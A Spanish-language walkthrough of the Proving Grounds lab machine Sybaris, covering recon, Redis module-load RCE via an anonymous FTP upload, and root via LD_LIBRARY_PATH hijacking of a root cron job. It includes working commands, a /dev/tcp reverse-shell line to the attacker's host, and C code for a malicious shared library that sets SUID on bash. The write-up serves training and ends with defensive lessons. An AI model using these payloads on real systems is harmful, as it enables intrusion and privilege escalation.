the_open_door
café
ESEN

Sybaris

Proving Grounds PracticeMediaLinux192.168.197.93

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#redis#redis-module#ftp#anonymous-ftp#rce#htmly#cronjob#ld-library-path#shared-library#suid#gtfobins#oscp
TL;DR. Sybaris junta dos servicios mal puestos: un FTP anónimo con escritura y un Redis 5.0.9 sin autenticar. Subimos un módulo malicioso por FTP y lo cargamos con MODULE LOAD (RCE en Redis vía módulos), lo que da un comando system.exec y una shell inversa como pablo. Para escalar, el /etc/crontab ejecuta como root un binario con un LD_LIBRARY_PATH que apunta a un directorio escribible: plantamos ahí una biblioteca con un constructor que pone el bit SUID a bash (LD_LIBRARY_PATH hijacking) y abrimos una shell root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Barremos los puertos TCP:

ping -c 1 192.168.197.93
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.197.93
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
6379/tcp open  redis
nmap -p21,22,80,6379 -sCV 192.168.197.93 -oN targetedScan
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
|_http-generator: HTMLy v2.7.5
|_http-title: Sybaris - Just another HTMLy blog
6379/tcp open  redis   Redis key-value store 5.0.9

Cuatro servicios: un FTP que permite login anónimo, SSH, un blog HTMLy v2.7.5 sobre CentOS, y un Redis 5.0.9 abierto. La combinación FTP anónimo + Redis sin auth es la que merece la pena mirar primero: si el FTP deja escribir, tenemos dónde dejar un fichero que Redis pueda cargar.

FTP - TCP 21

Entramos como anonymous y, además de listar pub/, comprobamos si podemos subir ficheros:

ftp 192.168.197.93
# Name: anonymous  /  Password: (vacío)
cd pub
put test
230 Login successful.
...
ftp> put test
150 Ok to send data.
226 Transfer complete.
5 bytes sent in 00:00 (0.08 KiB/s)

El put funciona: el FTP admite escritura anónima en pub/ (FTP anónimo). Nos falta saber a qué ruta del sistema de ficheros corresponde ese pub/. Una búsqueda rápida confirma que el FTP anónimo en Linux usa /var/ftp (o /var/www/html) como raíz:

Búsqueda "where is default ftp directory": el anónimo en Linux usa /var/ftp o /var/www/html

Y en concreto, en vsftpd la carpeta pública es /var/ftp/pub:

Búsqueda "/var/ftp/pub": es la carpeta pública estándar del FTP anónimo en vsftpd

Así que lo que subimos a pub/ queda en /var/ftp/pub/ en disco, dato que usaremos en cuanto sepamos cargar algo desde Redis.

Redis - TCP 6379

Redis responde sin pedir credenciales. Confirmamos versión y modo:

redis-cli -h 192.168.197.93
192.168.197.93:6379> INFO server
redis_version:5.0.9
redis_mode:standalone
os:Linux 3.10.0-1127.19.1.el7.x86_64 x86_64

Un Redis sin autenticar es directamente explotable (enumeración de Redis). De los caminos posibles (escribir una clave SSH o una webshell con CONFIG SET dir, abuso de replicación, carga de módulos), el de módulos encaja perfecto aquí: ya tenemos un sitio donde dejar el .so (el FTP anónimo). La técnica está documentada en HackTricks (compilar un módulo, subirlo, MODULE LOAD, system.exec):

HackTricks: Load Redis Module (compilar módulo, MODULE LOAD, system.exec id/whoami)

Shell como pablo

Redis MODULE LOAD vía FTP anónimo

La técnica: compilar un módulo de Redis que registre un comando para ejecutar órdenes, subirlo por FTP y cargarlo con MODULE LOAD. Buscando por MODULE LOAD damos con un exploit que ya trae el módulo compilado:

Búsqueda "redis MODULE LOAD": el repo jas502n/Redis-RCE (RCE para redis4 y redis5)

Usamos el exp_lin.so del exploit Redis-RCE (módulo ya compilado para la rama 5.x). Lo subimos al pub/ del FTP, que en disco es /var/ftp/pub/:

git clone https://github.com/jas502n/Redis-RCE
ftp 192.168.197.93
# anonymous
cd pub
put exp_lin.so

Con el .so ya en el objetivo, lo cargamos desde Redis y probamos el comando system.exec que registra (RCE en Redis vía módulos):

redis-cli -h 192.168.197.93
MODULE LOAD /var/ftp/pub/exp_lin.so
system.exec "id"

MODULE LOAD del módulo subido por FTP y system.exec id devolviendo uid=1000(pablo) en Sybaris

192.168.197.93:6379> MODULE LOAD /var/ftp/pub/exp_lin.so
OK
192.168.197.93:6379> system.exec "id"
"uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)\n"

Tenemos ejecución como pablo (el usuario del proceso Redis). Lanzamos una shell inversa contra nuestro listener:

Antes de disparar la shell, dejamos Penelope a la escucha en el 80:

penelope 80
system.exec "bash -i >& /dev/tcp/192.168.45.196/80 0>&1"

Shell inversa recibida desde sybaris (192.168.197.93) como pablo, upgrade a PTY

(Penelope)> listeners add -p 80
[+] Got reverse shell from sybaris~192.168.197.93-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python!
[pablo@sybaris /]$ whoami
pablo

Estabilizamos la shell a PTY y leemos la primera prueba:

cat /home/pablo/local.txt && whoami && ip a && hostname

local.txt leída como pablo en sybaris, con IP 192.168.197.93

9318a53cbcf57f8787dd754992ceae50

Escalada de privilegios

Cron de root con LD_LIBRARY_PATH escribible

Revisando las tareas programadas, el /etc/crontab destaca: define un LD_LIBRARY_PATH propio y ejecuta como root el binario /usr/bin/log-sweeper:

cat /etc/crontab
/usr/bin/log-sweeper

/etc/crontab con LD_LIBRARY_PATH incluyendo /usr/local/lib/dev y el cron de root /usr/bin/log-sweeper, que falla por utils.so ausente

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
MAILTO=""
*  *  *  *  * root  /usr/bin/log-sweeper

$ /usr/bin/log-sweeper
/usr/bin/log-sweeper: error while loading shared libraries: utils.so: cannot open shared object file: No such file or directory

Dos detalles encajan: el binario necesita una biblioteca utils.so que no existe, y el LD_LIBRARY_PATH incluye /usr/local/lib/dev, un directorio en el que nuestro usuario puede escribir. linpeas (repo) lo señala igual:

linpeas resaltando el directorio escribible /usr/local/lib/dev dentro del LD_LIBRARY_PATH del cron

Como el enlazador busca utils.so recorriendo LD_LIBRARY_PATH y ese directorio gana, basta con dejar ahí nuestra utils.so (LD_LIBRARY_PATH hijacking). La compilamos con un constructor que el enlazador ejecuta al cargar la biblioteca; el payload pone el bit SUID a bash:

cat utils.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    setuid(0);
    system("chmod u+s /bin/bash");
}
gcc -shared -o utils.so -fPIC utils.c
mv utils.so /usr/local/lib/dev/

Cuando el cron de root vuelve a ejecutar log-sweeper, el enlazador carga nuestra utils.so, corre el constructor como root y aplica el SUID. Lo confirmamos:

ls -l /bin/bash
-rwsr-xr-x. 1 root root 964536 Mar 31  2020 /bin/bash

/bin/bash ya es SUID root. Con -p la shell conserva el euid=0 (abuso de SUID):

bash -p
whoami

bash -p y whoami devolviendo root en sybaris

[pablo@sybaris tmp]$ bash -p
bash-4.2# whoami
root

Leemos la prueba final:

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en sybaris

f5cd59c2f5baa97e3205ca1b3b811409

Cadena de ataque

FTP anónimo (21, escritura)  +  Redis 5.0.9 sin auth (6379)
        │  put exp_lin.so  ->  /var/ftp/pub/exp_lin.so
        │  MODULE LOAD /var/ftp/pub/exp_lin.so  ->  system.exec
        ▼
shell como pablo  (reverse shell, local.txt)
        │  cron de root: LD_LIBRARY_PATH -> /usr/local/lib/dev (escribible)
        │  utils.so maliciosa (constructor) -> chmod u+s /bin/bash
        ▼
shell como root  (bash -p, proof.txt)

Lecciones aprendidas

  • Dos servicios débiles se potencian. Un FTP anónimo con escritura no da RCE por sí solo, ni un Redis abierto carga un módulo que no exista en disco; juntos cierran la cadena: el FTP pone el .so donde Redis lo carga.
  • Redis sin autenticar es ejecución de código. Con MODULE LOAD se cargan bibliotecas arbitrarias que registran comandos como system.exec. Bindear a 127.0.0.1, exigir requirepass/ACLs y deshabilitar MODULE/CONFIG lo cierra.
  • LD_LIBRARY_PATH en un cron de root es un regalo. El enlazador consulta esa variable antes que las rutas del sistema; si incluye un directorio escribible, controlas qué biblioteca carga el proceso privilegiado. Nunca fijar LD_LIBRARY_PATH en tareas de root apuntando a rutas de usuario.
  • Un constructor de biblioteca corre antes que main. __attribute__((constructor)) se ejecuta al cargar el .so, así que ni siquiera hace falta que el binario use la función: basta con que lo cargue.
Cheatsheet de comandos 14 comandos

Repaso rápido